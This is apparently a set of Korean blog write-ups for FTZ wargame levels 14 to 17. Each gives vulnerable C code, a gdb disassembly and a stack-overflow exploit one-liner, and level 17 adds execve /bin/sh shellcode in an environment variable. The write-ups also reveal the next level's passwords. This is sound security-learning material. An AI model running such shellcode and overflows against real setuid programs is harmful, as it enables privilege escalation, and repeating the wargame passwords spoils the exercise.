level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

이번엔 쉘 코드를 환경 변수로 등록하여 call 함수 실행 시 쉘 코드를 호출하도록 해야겠다. 그러기 위해선 call 값에 쉘 코드의 주소값을 저장해야 한다. 그리고 앞의 문제들에선 설명하는 것을 깜빡했는데 fgets 함수가 48 bytes까지만 입력받기 때문에 retn 주소를 덮어 씌울 순 없다. 이 문제도 마찬가지로 ebp-56에 buf가 위치하기 때문에 48 bytes를 입력해서는 retn에 도달할 수 없다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490  //call 주솟값 ebp-16
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop

쉘 코드를 환경 변수로 등록하고 환경 변수의 주솟값을 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
0xbffffe69

ebp-56부터 40 bytes를 A로 채우고 ebp-16(call 주소)부터 4 bytes를 0xbffffe69(쉘 코드 주소)로 채운다.

[level17@ftz tmp]$ (python -c 'print "A"*40+"\x69\xfe\xff\xbf"';cat)|../attackme
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

명령어들이 이해가 안간다면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
728x90
#include <stdio.h>
 
void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

fgets 함수로 입력하여 call 변수 저장 위치에 shell 함수의 주소를 저장한다. 그러면 call() 결과 shell 함수가 실행될 것이다.

attackme 실행파일을 현재 디렉터리의 tmp 폴더 아래로 복사한다.

[level16@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:	push   ebp
0x08048519 <main+1>:	mov    ebp,esp
0x0804851b <main+3>:	sub    esp,0x38
0x0804851e <main+6>:	mov    DWORD PTR [ebp-16],0x8048500  //call 주솟값 ebp-16
0x08048525 <main+13>:	sub    esp,0x4
0x08048528 <main+16>:	push   ds:0x80496e8
0x0804852e <main+22>:	push   0x30
0x08048530 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x08048533 <main+27>:	push   eax
0x08048534 <main+28>:	call   0x8048384 <fgets>
0x08048539 <main+33>:	add    esp,0x10
0x0804853c <main+36>:	mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:	call   eax
0x08048541 <main+41>:	leave  
0x08048542 <main+42>:	ret    
0x08048543 <main+43>:	nop
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>:	push   ebp
0x080484d1 <shell+1>:	mov    ebp,esp
0x080484d3 <shell+3>:	sub    esp,0x8

shell 함수의 주소값은 0x080484d0 임을 알 수 있다.

ebp-16 위치에 0x080484d0을 대입하자.

[level16@ftz tmp]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|../attackme
my-pass

Level17 Password is "king poetic".

위의 명령이 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level18  (0) 2023.01.19
level17  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
728x90
#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

level14와의 유일한 차이는 check가 int형 포인터 변수가 된 것이다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	mov    eax,DWORD PTR [ebp-16]  //check값 ebp-16에 존재. 즉, check 주솟값 ebp-16
0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef  //*check 포인터 연산
0x080484b6 <main+38>:	jne    0x80484dd <main+77>
0x080484b8 <main+40>:	sub    esp,0x8
0x080484bb <main+43>:	push   0xc18
0x080484c0 <main+48>:	push   0xc18
0x080484c5 <main+53>:	call   0x8048380 <setreuid>
0x080484ca <main+58>:	add    esp,0x10
0x080484cd <main+61>:	sub    esp,0xc
0x080484d0 <main+64>:	push   0x8048548
0x080484d5 <main+69>:	call   0x8048340 <system>
0x080484da <main+74>:	add    esp,0x10
0x080484dd <main+77>:	leave

check 값이 저장되는 위치에 0xdeadbeef의 주솟값을 저장하면 포인터 연산(*)으로 접근 시 0xdeadbeef에 접근하게 될 것이다. 그럼 if문이 참이 되어 ruid와 euid가 level16이 되고 /bin/sh를 실행할 수 있다. 이때 my-pass를 입력하면 level16의 비밀번호가 나온다.

(gdb) x/40x main
0x8048490 <main>:	0x83e58955	0xec8338ec	0x6435ff04	0x6a080496
0x80484a0 <main+16>:	0xc8458d2d	0xfeb6e850	0xc483ffff	0xf0458b10
0x80484b0 <main+32>:	0xbeef3881	0x2575dead	0x6808ec83	0x00000c18
0x80484c0 <main+48>:	0x000c1868	0xfeb6e800	0xc483ffff	0x0cec8310
0x80484d0 <main+64>:	0x04854868	0xfe66e808	0xc483ffff	0x90c3c910

위의 메모리 내용을 보니 0x80483b2에 0xdeadbeef가 존재함을 알 수 있다.

[level15@ftz tmp]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)|../attackme
my-pass

Level16 Password is "about to cause mass".

위의 명령어가 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level17  (0) 2023.01.19
level16  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
728x90
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:	push   ebp
0x080483b9 <main+1>:	mov    ebp,esp
0x080483bb <main+3>:	sub    esp,0x38
0x080483be <main+6>:	and    esp,0xfffffff0
0x080483c1 <main+9>:	mov    eax,0x0
0x080483c6 <main+14>:	sub    esp,eax
0x080483c8 <main+16>:	sub    esp,0x4
0x080483cb <main+19>:	push   ds:0x80495d0
0x080483d1 <main+25>:	push   0x2d
0x080483d3 <main+27>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080483d6 <main+30>:	push   eax
0x080483d7 <main+31>:	call   0x80482d8 <fgets>
0x080483dc <main+36>:	add    esp,0x10
0x080483df <main+39>:	cmp    DWORD PTR [ebp-16],0xdeadbeef  //check의 주솟값 ebp-16
0x080483e6 <main+46>:	jne    0x804840d <main+85>
0x080483e8 <main+48>:	sub    esp,0x8
0x080483eb <main+51>:	push   0xc17
0x080483f0 <main+56>:	push   0xc17
0x080483f5 <main+61>:	call   0x80482f8 <setreuid>
0x080483fa <main+66>:	add    esp,0x10
0x080483fd <main+69>:	sub    esp,0xc
0x08048400 <main+72>:	push   0x80484bc
0x08048405 <main+77>:	call   0x80482c8 <system>

buf가 ebp-56의 주솟값에서 시작된다. 그리고 ebp-16에 변수 check가 존재하는데 0xdeadbeef와 같으면 level15의 권한으로 /bin/sh을 실행할 수 있다. 그리고나서 my-pass를 입력한다면 level15의 비밀번호가 나타날 것이다.

[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackme
my-pass

Level15 Password is "guess what".

명령어에 사용된 문법에 대해 좀 더 알고 싶다면 level11과 level12의 해설을 참고 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level16  (0) 2023.01.19
level15  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09

+ Recent posts